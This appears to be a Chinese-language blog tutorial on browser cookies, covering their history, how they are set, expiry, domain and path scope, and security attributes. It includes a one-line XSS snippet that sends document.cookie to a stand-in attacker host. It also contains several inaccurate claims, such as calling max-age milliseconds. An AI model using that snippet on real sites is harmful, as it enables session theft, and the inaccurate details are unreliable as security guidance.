在瀏覽器環境中有許多的儲存空間,想要查看這些空間的話,可以透過「chrome > Dev Tools > Application > Storage」即能進行查看。
瀏覽器內存空間的差異不僅常常被拿來被當作面試考題,在實務開發中更扮演舉足輕重的角色,今天就想透過這系列的文章深度了解這些瀏覽器內存的差異:
在了解 Cookie 實際應用情境前,我認為理解 Cookie 被發明的背景會對後續的瀏覽器內存理解有很大的幫助。
Cookie 最早是在 1994 年時在早期的網景瀏覽器上實作,由於透過 HTTP 協定傳輸資料的時候是無狀態的,無狀態意旨的是:當今天 A 伺服器將一則資料傳送到 B 使用者的瀏覽器上,在不夾帶任何其他資訊的狀況下,B 使用者透過瀏覽器將一則資料回傳給 A 伺服器,A 伺服器不會知道這則 HTTP Request 是由 B 使用者傳過來的。
因此早期網景為了記錄瀏覽網站的使用者,在瀏覽器上實作了一個可以儲存文字訊息的儲存空間,讓 HTTP 在傳輸的過程中,讓伺服器知道今天瀏覽器的使用者是誰、有無一些特殊的狀態。
當我們在瀏覽器發送請求時,瀏覽器預設會將 cookie 帶到 http header 上,隨著請求內容一併傳輸到伺服器端。
回歸到現代網頁開發,cookie 依然頻繁應用在紀錄使用者狀態,除了可以把會員登入註冊後加密完的 token 存在 cookie 外,在行銷工具面也應用的很廣,例如:紀錄使用者的行為或是偏好。
接著讓我們來看看 cookie 的應用機制為何:
如果我們透過「chrome > Dev Tools > Application > Storage > cookie」的方式查看 cookie,會發現實際上 cookie 長成這樣:
我碼掉了一些機敏資訊,以頁面上的資訊來說,在 wikipedia 這個網域底下,存了一組 cookie 為:
"WMF-Last-Access=xxxx;expires=xxxx;path=/;"
實際上 cookie 就是由多種鍵值組成的字串,並且使用分號為識別符切割字串。
透過 chrome 的開發者工具,我們可以更具象化的知道今天我們被網路的應用程式紀錄了哪些資訊。
在前端可以透過以下方式在瀏覽器中寫入 cookie:
document.cookie = "name=vvn"
透過這樣的方式可以設定一組 cookie 到瀏覽器中。
由於資安問題, cookie 有設定可以拒絕 client 端的 JavaScript 存取與修改 cookie,這樣被限制的 cookie 就沒有辦法透過 document.cookie
的 Web API 存取到 cookie,這個後續我們會在提到。
在沒有任何限制下,client 端的 JavaScript 可以用以下方法存取 cookie:
document.cookie
// -> "name=vvn"
cookie 依照逾期機制可以分為兩種類型,分別為常駐 cookie 與 session cookie。
在設定 cookie 的時候,我們可以選擇是否要設定逾期的時間,有設定逾期時間的 cookie 稱為常駐 cookie ,沒有設定逾期時間的 cookie 稱為 sesstion cookie,session cookie 通常會在關閉瀏覽器時即消失,但如果有啟用 session restoring 的機制(例如:在 chrome 中可以記住特定使用者的瀏覽器資訊),則會因為因為被瀏覽器記住狀態,反而讓 sesstion 成為永久性的 cookie ,這是特別需要注意的一點。
常駐 cookie 可以透過設定 expires
或是 max-age
屬性來決定什麼時候逾期與否,前者適用於 GMT 字串格式,後者則是使用毫秒為單位。
就實用性與安全性考量,MDN 建議使用常駐 cookie 搭配 max-age
不僅可以在固定時間逾期,也不用自動換算 GMT 格式。
舉例來說:
document.cookie = "name=vvn;max-age=36000"
我們可以透過設定 cookie 的 domain
以及 path
屬性來限定特定網域才能存取 cookie,前者為 cookie 可被作用的網域,後者為哪些 HTTP Request 的路徑要夾帶此 cookie。
當 domain
沒有特別被指定時,預設為設定 cookie 時當下的文件 domain ,舉例來說:在 https://vivian.enlife.com
中的程式碼設定了一組 cookie ,但未註明 domain 的內容,則會以 https://vivian.enlife.com
作為預設 domain
屬性。
path
屬性在未被寫入時,會以預設值 /
為主,也就是說:當有一個網站未註明 path
內容時,在打第三方 API 時也有可能把 cookie 中的機敏資訊一併挾帶到第三方的伺服器中,這也是 cookie 常被詬病的資安漏洞之一。
雖然 Mozilla 有在推行禁止跨域讀取的 samsite cookie
,但尚未成為標準化的規範,仍為實驗性的功能。
由於 cookie 的使用常常涉及「未經使用者同意」及拿取資料的行為,在歐盟的法規中有規定網站一定要有「cookie consent banner」,不然就是不合格的網站,有些資安測試也會視其為基本的指標。
在一些早期的網頁服務或是後端的服務,多使用 cookie 進行 HTTP Request 之間的狀態傳遞,然而這些狀態之間的傳遞多是以用戶的某種識別憑證為主,當使用者在瀏覽器登入後,會產生一組憑證,這組憑證就會被當作呼叫 API 時的 access-token
。
也因為 cookie 在早期(甚至是現在)多用來儲存機敏資料,因此非常容易透過 XSS 的方式直接挾持使用者的憑證:
new Image().src =
"<http://www.evil-domain.com/steal-cookie.php?cookie=>" + document.cookie;
萬一該服務有一些與金流、電子報有關的服務,可能就會一併出現 CSRF 攻擊手法,透過挾持使用者憑證,以偽造身份去打一些需要付費的服務或是透過電子報系統寄送釣魚信件。
因此,在使用 cookie 應謹慎使用,下面我們會針對 cookie 的資安防範進行討論。
cookie 有提供一個屬性 http-only
限定一些機敏資料不能被客戶端的 JavaScript 所讀取,這樣就可以降低在客戶端被注入 JavaScript 程式碼、獲取的 cookie 的機會,而 secure
屬性則讓 cookie 是透過加密的 https 的協定進行傳輸。
雖然 cookie 在瀏覽器的實作上提供了一些保護的機制,但他終究是不安全的,也很容易因為一些複雜的商業邏輯,導致使用者資料在不同的服務間傳遞來傳遞去,因此 Mozilla 官方更建議使用現代的 Web Storage API 來存取機敏資料,例如:localStorage、sessionStorage 或是 indexDB 等。
關於現代的 Web Storage API 會在其他篇進行介紹,我是 Vivian,我們下次見!
參考資料: